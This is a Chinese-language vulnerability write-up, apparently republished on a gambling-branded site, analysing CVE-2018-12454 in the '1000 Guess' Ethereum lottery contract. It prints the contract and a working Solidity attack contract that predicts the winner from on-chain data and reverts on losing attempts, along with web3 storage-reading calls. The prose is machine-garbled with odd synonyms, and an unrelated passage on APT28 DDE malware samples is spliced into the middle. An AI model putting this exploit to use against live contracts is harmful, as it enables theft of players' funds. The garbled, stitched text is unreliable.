CVE-2018-12454合约代码详细分析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2018-12454合约代码详细分析

申博_新闻事件 申博 89次浏览 未收录 0个评论

一、破绽概述

1000 Guess是一款基于以太坊的随机数竞猜游戏。 1000 Guess中的simplelottery智能合约完成的‘_addguess’函数存在安全破绽,该破绽源于顺序运用大众可读取的变量天生随机值。进击者可应用该破绽一向猎取嘉奖。

下面为CVE编号的细致内容。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12454

1000 Guess作为以太坊的出色读博游戏被爆出存在存储随机数展望破绽。此合约经由历程天生随机数来展望取得大奖的钱包地点。在天生随机数的历程当中,该合约经由历程sha256盘算合约中的变量与以后数据块的信息。但是依据区块链的观点,链上的信息均是公然的,一切用户均可以或许取得。因而进击者可以或许对此举行猎取并举行投机倒把的操纵。在本文中我将对合约举行细致引见,并对此合约破绽举行复现操纵。

二、合约剖析

/**
 * Source Code first verified at https://etherscan.io on Saturday, November 25, 2017
 (UTC) */

pragma solidity ^0.4.11;
contract simplelottery {
    enum State { Started, Locked }
    State public state = State.Started;
    struct Guess{
      address addr;
      //uint    guess;
    }
    uint arraysize=1000;
    uint constant maxguess=1000000;
    uint bettingprice = 1 ether;
    Guess[1000] guesses;
    uint    numguesses = 0;
    bytes32 curhash = '';
    uint _gameindex = 1;
    uint _starttime = 0;
    modifier inState(State _state) {
      require(state == _state);
      _;
    }
    address developer = 0x0;
    address _winner   = 0x0;
    event SentPrizeToWinner(address winner, uint money, uint gameindex, uint lotterynumber, uint starttime, uint finishtime);
    event SentDeveloperFee(uint amount, uint balance);

    function simplelottery() 
    {
      if(developer==address(0)){
        developer = msg.sender;
        state = State.Started;
        _starttime = block.timestamp;
      }
    }

    function setBettingCondition(uint _contenders, uint _bettingprice)
    {
      if(msg.sender != developer)
        return;
      arraysize  = _contenders;
      if(arraysize>1000)
        arraysize = 1000;
      bettingprice = _bettingprice;
    }

    function findWinner(uint value)
    {
      uint i = value % numguesses;
      _winner = guesses[i].addr;
    }

      function getMaxContenders() constant returns(uint){
      return arraysize;
    }

    function getBettingPrice() constant returns(uint){
      return bettingprice;
    }

    function getDeveloperAddress() constant returns(address)
    {
      return developer;
    }

    function getDeveloperFee() constant returns(uint)
    {
      uint developerfee = this.balance/100;
      return developerfee;
    }

    function getBalance() constant returns(uint)
    {
       return this.balance;
    }

    function getLotteryMoney() constant returns(uint)
    {
      uint developerfee = getDeveloperFee();
      uint prize = (this.balance - developerfee);
      return prize;
    }

    function getBettingStatus()
      constant
      returns (uint, uint, uint, uint, uint, uint, uint)
    {
      return ((uint)(state), _gameindex, _starttime, numguesses, getLotteryMoney(), this.balance, bettingprice);
    }



    function finish()
    {
      if(msg.sender != developer)
        return;
      _finish();
    }

    function _finish() private
    {
      state = State.Locked;
      uint block_timestamp = block.timestamp;
      uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
      findWinner(lotterynumber);
      uint prize = getLotteryMoney();
      uint numwinners = 1;
      uint remain = this.balance - (prize*numwinners);

      _winner.transfer(prize);
      SentPrizeToWinner(_winner, prize, _gameindex, lotterynumber, _starttime, block_timestamp);

      // give delveoper the money left behind
      developer.transfer(remain); 
      SentDeveloperFee(remain, this.balance);
      numguesses = 0;
      _gameindex++;
      state = State.Started;
      _starttime = block.timestamp;
    }

    function () payable
    {
        _addguess();
    }

    function addguess() 
      inState(State.Started)
      payable
    {
      _addguess();
    }

    function _addguess() private
      inState(State.Started)
    {
      require(msg.value >= bettingprice);
      curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
      if((uint)(numguesses+1)<=arraysize) {
        guesses[numguesses++].addr = msg.sender;
        if((uint)(numguesses)>=arraysize){
          _finish();
        }
      }
    }
}

起首引见合约触及的变量状况。依据合约界说,起首界说state罗列变量,用以掌握合约是不是住手运转。以后界说Guess组织体与响应数组,用以生存介入游戏的用户状况。其次是arraysize,其为详细的门限值,在后文中我们能晓得当介入用户量凌驾此参数后便触发竞猜函数。bettingprice为下赌最小代币量。后四个参数为天生随机数所需的参数。

下面函数为组织函数,个中界说了竖立者地点、以后合约的运转状况以及以后的时候戳信息。

function simplelottery() 
    {
      if(developer==address(0)){
        developer = msg.sender;
        state = State.Started;
        _starttime = block.timestamp;
      }
    }

下面函数作用是用于修正该合约竞猜函数触发门限值与竞猜最小代币量。

function setBettingCondition(uint _contenders, uint _bettingprice)
    {
      if(msg.sender != developer)
        return;
      arraysize  = _contenders;
      if(arraysize>1000)
        arraysize = 1000;
      bettingprice = _bettingprice;
    }

下面的一系列函数为用户返回种种参数。

function getMaxContenders() constant returns(uint){
      return arraysize;
    }

    function getBettingPrice() constant returns(uint){
      return bettingprice;
    }

    function getDeveloperAddress() constant returns(address)
    {
      return developer;
    }

    function getDeveloperFee() constant returns(uint)
    {
      uint developerfee = this.balance/100;
      return developerfee;
    }

    function getBalance() constant returns(uint)
    {
       return this.balance;
    }

下方函数返回了合约中较为症结的变量信息,比方以后时候戳信息、以后竞猜数字、奖金额度、合约余额、竞猜手续费。

function getBettingStatus()
      constant
      returns (uint, uint, uint, uint, uint, uint, uint)
    {
      return ((uint)(state), _gameindex, _starttime, numguesses, getLotteryMoney(), this.balance, bettingprice);
    }

以后我们引见合约的症结函数。当用户挪用addguess函数时,起首将合约的状况改变成“最先”,以后推断用户传入的金额是不是知足竞猜手续费,当知足时进入下面的函数。

以后依据以后区块上的私有信息盘算哈希值:curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);

以后推断是不是触发竞猜函数,比方当以后numguesses + 1还未抵达竞猜门限值,此时将guess数组中增加以后挪用函数的合约地点,便于后续此地点介入奖金竞猜。当末了一名列入竞猜的用户挪用此函数时,即抵达门限值时触发_finish();函数。

function () payable
    {
        _addguess();
    }

    function addguess() 
      inState(State.Started)
      payable
    {
      _addguess();
    }

    function _addguess() private
      inState(State.Started)
    {
      require(msg.value >= bettingprice);
      curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
      if((uint)(numguesses+1)<=arraysize) {
        guesses[numguesses++].addr = msg.sender;
        if((uint)(numguesses)>=arraysize){
          _finish();
        }
      }
    }

当触发竞猜函数时便挪用下方函数。进入函数后,起首将合约设置为停息,以防备在举行竞猜历程当中有新用户介入。以后赋值新时候戳、盘算竞猜随机数。以后挪用findWinner函数寻觅幸运儿。以后举行转账操纵,末了将实行次数归零。

function finish()
    {
      if(msg.sender != developer)
        return;
      _finish();
    }

    function _finish() private
    {
      state = State.Locked;
      uint block_timestamp = block.timestamp;
      uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
      findWinner(lotterynumber);
      uint prize = getLotteryMoney();
      uint numwinners = 1;
      uint remain = this.balance - (prize*numwinners);

      _winner.transfer(prize);
      SentPrizeToWinner(_winner, prize, _gameindex, lotterynumber, _starttime, block_timestamp);

      // give delveoper the money left behind
      developer.transfer(remain); 
      SentDeveloperFee(remain, this.balance);
      numguesses = 0;
      _gameindex++;
      state = State.Started;
      _starttime = block.timestamp;
    }

而怎样寻觅这个幸运儿呢?

function findWinner(uint value)
    {
      uint i = value % numguesses;
      _winner = guesses[i].addr;
    }

此函数传入value(此变量为上一个函数中的随机数),以后取余获得i。

下面我们来看一下此合约的破绽在那边。

三、破绽测试

在复现操纵之前,我将简朴引见下本破绽的成因。

熟习以太坊破绽的同砚应当晓得,在随机数运用中最轻易发生的破绽就属随机数展望。因为以太坊的机制,其一切信息均在链上且对外均为可见。即区块链上的随机数并不能做到真正的“随机”,须要引入外部库函数的辅佐,以是当人人看到有关随机数的合约时,我们就应当敏感一点细致审读源码是不是存储合约破绽。

我们跟读一下合约,作为一个介入者我们一定起首会介入到合约中来。因而我们将挪用addguess(),以后函数挪用_addguess()并向合约传入预设的合约用度Value,以后运用Sha256盘算curhash参数。当介入进入游戏后并知足门限后,该函数将挪用_finish并举行开奖操纵。而开奖所需随机数lotterynumber是经由历程(uint(curhash)+block_timestamp)%(maxguess+1)举行盘算得出。

而上述随机数种字均可以或许被我们经由历程手腕取得,因而我们变可以或许同合约一样,可以或许晓得以后用户开奖操纵的终究中奖人。

此时,倘使我们提早获得了中奖人信息,那末若是中奖工资进击者,那末进击者变实行操纵不然便revert()便可。因而当进击者赓续举行实验直到盘算出中奖者为本身。

下面我们将举行破绽复现:

起首我们运用账户为0x910c8F13e4fB8d640C593A5A6CE74ea1a842a963的钱包,布置合约。

为了便于后续举行演示操纵,我们将合约的局部参数举行修正。将门限值修正为3并下降介入金额(将默许的1 eth修正为100 wei,轻易后续操纵)。

为了模仿进击历程,我们运用以后钱包地点介入到竞猜活动中,并传入1 eth条约费。

这是我们检察嘉奖金:

APT28分析之DDE样本分析

最近在研究APT攻击,我选择研究APT的方法通过一个APT组织入手,我选择的是APT28这个组织,APT28组织是一个与俄罗斯政府组织的高级攻击团伙,我将分析该组织的攻击样本、攻击方法、攻击目的来研究一个APT组织。本次分析的是该团伙使用的DDE漏洞,所有资料均来自互联网。 本次的分析的样本来此mcafee文章的样本,未提及具体共的攻击者,样本的内容与纽约恐怖袭击有关。APT28能够利用当时的热点事件。迅速采用新技术发起攻击。 DDE(动态数据交换),被定义为允许应用程序共享的一组消息和准则。,应用程序可以使用DDE协议进行一次数据传输,以便应用程序在新数据可用时将更新发送给彼此,这次分析的两个样本,一个未混淆一个混淆,也比较能反应出攻击组织在攻击手法上的改进 此次分析的样本一共如下两个: 文件名称 IsisAttackInNewYork.docx SHA-1 1C6C700CEEBFBE799E115582665105CAA03C5C9E 创建时间 2017:10:27T 22:23:00Z 文件大小 53.1 KB (54,435 字节) 文件名称 SabreGuardian.docx SHA-256 68C2809560C7623D2307D8797691ABF3EAFE319A 创建时间 2017:10:27 22:23:00Z 文件大小 49.8 KB (51,046 字节) 样本分析 首先分析SabreGuardian.docx,双击之后发现会出现提示更新域

即取得嘉奖的账户可以或许取得响应的嘉奖。

以后我运用第二个合约账户并传入1000wei介入合约竞猜。此时numguesses为2。

而我们设置开奖门限为3,以是下一次新用户介入将会挪用开奖合约。

此时我们撰写进击函数:

contract Attack{
    address public owner;
    simplelottery lottery;
    uint constant maxguess=1000000;
    uint numguesses;
    event success(string s, uint balance);
    // constructor() public{
    //     owner = msg.sender;
    // }
    function () payable{}
    function attack(address target, bytes32 curhash, uint arraysize, uint attackerid) public payable{
        lottery = simplelottery(target);
        (,,,numguesses,,,) = lottery.getBettingStatus();
        if(numguesses != arraysize - 1) revert();
        curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
        uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
        uint i = lotterynumber % arraysize;
        if(attackerid != i) revert();
        target.call.value(0.01 ether)();
        success("Attack success!",this.balance);
        msg.sender.transfer(this.balance);
    }
}

此时我们须要经由历程链的特征来猎取到其隐蔽数据。经由历程我们剖析,我们发明curhash我们并不晓得,若是不晓得此参数那末我们变没法举行展望。

此处教人人一个姿态,我们可以或许经由历程web3函数来猎取到存在于链上的数据。

web3.eth.getStorageAt("0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e", x, function(x, y) {console.warn(y)});

此函数挪用后,会取得地点上的位于x地位的链上数据。

web3.eth.getStorageAt(contractAddress, position);

比方我们剖析测试合约。

图中的编号为存储地点的地位。测试第一个地位:

为3 。即我们的门限为3(前文修正过)

第2个地位:

为100,即我们介入竞猜的手续费为100.

因而我所需猎取的curhash为1004地位。

即:0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00

以后我们进入attack函数,并运用第二个账户举行歹意竞猜:

attack函数传入参数:0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e, "0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00",3,1

第一次实行:

这意味着初次实行没有展望胜利,以是函数revert了。

第二次实行:

胜利。因为我们门限设置的仅为3,以是第二次实验就展望胜利了。如今我们来看看合约,发明合约已归零,而且个中的嘉奖已发放给进击者。

这个cve应用手腕较为轻易,因为原代码中运用1000长度来装载介入者,以是此应用可以或许运用脚正本举行轮回实行,以便到达进击的作用。

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2018-12454合约代码详细分析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址